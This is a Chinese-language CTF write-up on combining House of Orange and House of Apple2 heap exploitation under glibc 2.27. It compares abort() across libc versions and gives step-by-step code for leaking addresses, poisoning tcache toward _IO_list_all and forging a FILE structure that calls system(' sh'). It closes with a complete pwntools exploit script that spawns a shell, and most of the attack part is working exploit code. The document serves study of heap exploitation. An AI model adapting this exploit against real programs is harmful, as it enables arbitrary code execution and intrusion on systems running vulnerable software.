libc2.27下的house of orange+house of apple2
字数 1363 2025-08-20 18:17:53
Libc2.27下的House of Orange + House of Apple2攻击技术分析
前言
本文详细分析在libc2.27环境下结合House of Orange和House of Apple2的攻击技术。与libc2.23相比,libc2.27的abort()函数移除了IO相关处理,这使得传统的House of Orange攻击方式需要调整。
malloc_assert在libc2.23与libc2.27的不同
libc2.23的__malloc_assert
static void __malloc_assert(const char *assertion, const char *file, unsigned int line, const char *function) {
(void) __fxprintf(NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush(stderr);
abort();
}
在libc2.23中,abort()函数包含IO处理相关函数:
void abort(void) {
struct sigaction act;
sigset_t sigs;
// ... 省略部分代码 ...
/* Flush all streams. We cannot close them now because the user
might have registered a handler for SIGABRT. */
if (stage == 1) {
++stage;
fflush(NULL);
}
// ... 省略部分代码 ...
/* Now close the streams which also flushes the output the user
defined handler might has produced. */
if (stage == 4) {
++stage;
__fcloseall();
}
// ... 省略部分代码 ...
}
libc2.27的__malloc_assert
libc2.27的abort()函数移除了IO处理相关代码:
void abort(void) {
struct sigaction act;
sigset_t sigs;
// ... 省略部分代码 ...
/* Send signal which possibly calls a user handler. */
if (stage == 1) {
int save_stage = stage;
stage = 0;
__libc_lock_unlock_recursive(lock);
raise(SIGABRT);
__libc_lock_lock_recursive(lock);
stage = save_stage + 1;
}
// ... 省略部分代码 ...
}
攻击思路演变
-
传统House of Orange的限制:
- 难以实现像tcache poison一样的任意地址申请
- 通常通过unsorted bin attack触发malloc_assert,利用abort中的IO处理函数遍历
_IO_list_all进行IO攻击 - libc2.27中abort移除了IO处理,传统方法失效
-
新的攻击思路:
- 结合House of Orange和House of Apple2
- 利用libc2.27引入的tcache机制进行tcache poison
- 最终实现任意地址申请和任意地址写任意值
攻击步骤详解
1. 泄露libc基址和堆基址
add(0x8)
edit(0, 0x20, b"a"*0x18 + p64(0xD91))
add(0x1000)
add(0x400)
edit(0, 0x20, b"a"*0x18 + b"a"*8)
show(0)
p.recvuntil("a"*0x20)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 0x3EBCA0 - 0x600
print(f"libc: {hex(libc.address)}")
edit(0, 0x30, b"a"*0x30)
show(0)
p.recvuntil("a"*0x30)
heap_addr = u64(p.recv(6).ljust(8, b"\x00")) - 0x270
print(f"heap: {hex(heap_addr)}")
2. 利用House of Orange+让top chunk进入tcache bin
add(0x310)
add(0x5F0 + 0x30)
add(0xF60)
edit(5, 0xF70, b"a"*0xF60 + p64(0) + p64(0x81)) # 伪造top chunk大小
add(0x100)
edit(5, 0xF78, b"a"*0xF60 + p64(0) + p64(0x81) + p64(libc.sym['_IO_list_all']))
add(0x58)
add(0x58)
关键点:
- 扩展top chunk时,进入unsorted bin或tcache bin的top chunk大小会小0x20
- 因此使用
p64(0x81)后面是add(0x58)
3. libc2.27的House of Apple2
由于题目有沙箱限制,不能直接攻击malloc_hook和one_gadget,转而攻击IO结构:
ioaddr = heap_addr + 0x260
payload = p64(0)*2 + p64(1) + p64(2) # 满足FSOP条件
payload = payload.ljust(0x78, b'\x00') + p64(heap_addr) # lock
payload = payload.ljust(0x90, b'\x00') + p64(ioaddr + 0xe0) # _wide_data
payload = payload.ljust(0xc8, b'\x00') + p64(libc.sym['_IO_wfile_jumps']) # vtable
payload = payload.ljust(0xd0 + 0x130, b'\x00') + p64(ioaddr + 0xe0 + 0x138) # _wide_data->vtable
payload = payload.ljust(0xd0 + 0x138 + 0x68, b'\x00') + p64(libc.sym['system'])
payload = b' sh;\x00\x00\x00' + p64(0) + payload
edit(0, len(payload), payload)
edit(8, 8, p64(heap_addr + 0x260))
choice(0) # 触发exit,执行IO攻击
libc2.27的特殊调整:
wide_data的vtable偏移为0x130(高版本为0xe0)- 需要正确设置
_wide_data->vtable指针
其他可能的攻击方式
有了任意地址申请能力后,还可以考虑:
- 攻击
tcache_pthread_struct控制tcache - 利用
environ泄露栈地址进行ROP - 直接修改
__free_hook或__malloc_hook
调试技巧
当题目提供的libc没有符号表时:
- 从glibc-all-in-one中找到相同版本的有符号表的libc
- 这样pwndbg可以更好地设置断点进行调试
完整EXP
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
# p=remote('8.147.134.27',36901)
elf = ELF("/home/zp9080/PWN/pwn")
libc = elf.libc
def dbg():
gdb.attach(p, 'b *$rebase(0x1B56)')
pause()
def choice(idx):
p.sendlineafter("exit:\n", str(idx))
def add(size):
choice(1)
p.sendlineafter("add:\n", str(size))
def show(idx):
choice(3)
p.sendlineafter("show:\n", str(idx))
p.recvuntil(f" {idx} : ")
def edit(idx, size, data):
choice(4)
p.sendlineafter("edit:\n", str(idx))
p.sendlineafter("size\n", str(size))
p.sendafter("input\n", data)
# 泄露libc和heap地址
add(0x8)
edit(0, 0x20, b"a"*0x18 + p64(0xD91))
add(0x1000)
add(0x400)
edit(0, 0x20, b"a"*0x18 + b"a"*8)
show(0)
p.recvuntil("a"*0x20)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 0x3EBCA0 - 0x600
print(f"libc: {hex(libc.address)}")
edit(0, 0x30, b"a"*0x30)
show(0)
p.recvuntil("a"*0x30)
heap_addr = u64(p.recv(6).ljust(8, b"\x00")) - 0x270
print(f"heap: {hex(heap_addr)}")
# House of Orange+攻击
add(0x310)
add(0x5F0 + 0x30)
add(0xF60)
edit(5, 0xF70, b"a"*0xF60 + p64(0) + p64(0x81))
add(0x100)
edit(5, 0xF78, b"a"*0xF60 + p64(0) + p64(0x81) + p64(libc.sym['_IO_list_all']))
add(0x58)
add(0x58)
# House of Apple2攻击
ioaddr = heap_addr + 0x260
payload = p64(0)*2 + p64(1) + p64(2)
payload = payload.ljust(0x78, b'\x00') + p64(heap_addr)
payload = payload.ljust(0x90, b'\x00') + p64(ioaddr + 0xe0)
payload = payload.ljust(0xc8, b'\x00') + p64(libc.sym['_IO_wfile_jumps'])
payload = payload.ljust(0xd0 + 0x130, b'\x00') + p64(ioaddr + 0xe0 + 0x138)
payload = payload.ljust(0xd0 + 0x138 + 0x68, b'\x00') + p64(libc.sym['system'])
payload = b' sh;\x00\x00\x00' + p64(0) + payload
edit(0, len(payload), payload)
edit(8, 8, p64(heap_addr + 0x260))
choice(0)
p.interactive()
总结
本文详细分析了在libc2.27环境下结合House of Orange和House of Apple2的攻击技术,重点包括:
- libc2.27与libc2.23在abort实现上的差异
- 如何利用House of Orange+实现tcache poison
- 在libc2.27中调整House of Apple2攻击的特殊处理
- 完整的攻击流程和EXP实现
这种组合攻击技术在没有直接任意地址写的情况下,通过精心构造堆布局和IO结构,最终实现了任意代码执行。